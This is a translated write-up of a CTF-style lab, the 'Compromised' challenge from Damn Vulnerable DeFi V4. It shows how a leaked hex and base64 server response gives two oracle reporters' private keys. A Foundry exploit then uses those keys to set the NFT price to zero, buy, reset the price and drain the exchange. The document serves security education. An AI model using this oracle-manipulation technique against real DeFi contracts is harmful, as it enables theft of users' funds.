本文分析了Damn Vulnerable DeFi V4的第7个挑战Compromised。该挑战通过服务器泄露的十六进制数据,解码出两个预言机报告者的私钥,攻击者可以利用这些私钥操纵NFT价格,低价购买后再以高价卖出,从而获利。
这个解释假设你事先了解此挑战中的智能合约,并将专门关注漏洞分析。
在浏览一个最受欢迎的 DeFi 项目的 Web 服务时,你从服务器收到了一条奇怪的响应。以下是一个代码片段:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
一个相关的链上交易所正在出售(价格高得离谱的)名为"DVNFT"的收藏品,现在的价格是每个 999 ETH。
这个价格是从一个链上 Oracle 获取的,基于 3 个受信任的报告者:`0x188…088`、`0xA41…9D8` 和 `0xab3…a40`。
从只有 0.1 ETH 的余额开始,通过拯救交易所中所有可用的 ETH 来通过挑战。然后将资金存入指定的恢复账户。
这个挑战展示了一个来自流行 DeFi 项目的奇怪的服务器响应。虽然 `content-type` 标头指示 `text/html`, 实际内容是十六进制数据 — 一个潜在的数据泄露的明显标志。
数据泄露可能很关键。 将十六进制数据转换为 ASCII 会显示 base64 编码的字符串。 解码这些 base64 字符串会显示一个与 Ethereum 私钥非常相似的字符串。 使用 Foundry cast 命令 `cast wallet address — private-key $PRIVATE_KEY`, 我们可以确认解码的字符串确实是对应于三个受信任的 Oracle 报告者中的两个的私钥。 这意味着我们可以操纵 NFT 价格。
/**
* 在这里编写你的解决方案
*/
function test_compromised() public checkSolved {
uint256 privateKey1 = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;
uint256 privateKey2 = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;
address source1 = vm.addr(privateKey1);
address source2 = vm.addr(privateKey2);
vm.startPrank(source1);
oracle.postPrice("DVNFT", 0);
vm.stopPrank();
vm.startPrank(source2);
oracle.postPrice("DVNFT", 0);
vm.stopPrank();
uint256 price = oracle.getMedianPrice("DVNFT");
vm.startPrank(player);
uint256 id = exchange.buyOne{value: 1 wei}();
vm.stopPrank();
vm.startPrank(source1);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.stopPrank();
vm.startPrank(source2);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.stopPrank();
vm.startPrank(player);
nft.approve(address(exchange), id);
exchange.sellOne(id);
payable(recovery).transfer(EXCHANGE_INITIAL_ETH_BALANCE);
vm.stopPrank();
}
包含解决方案的 GitHub 存储库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!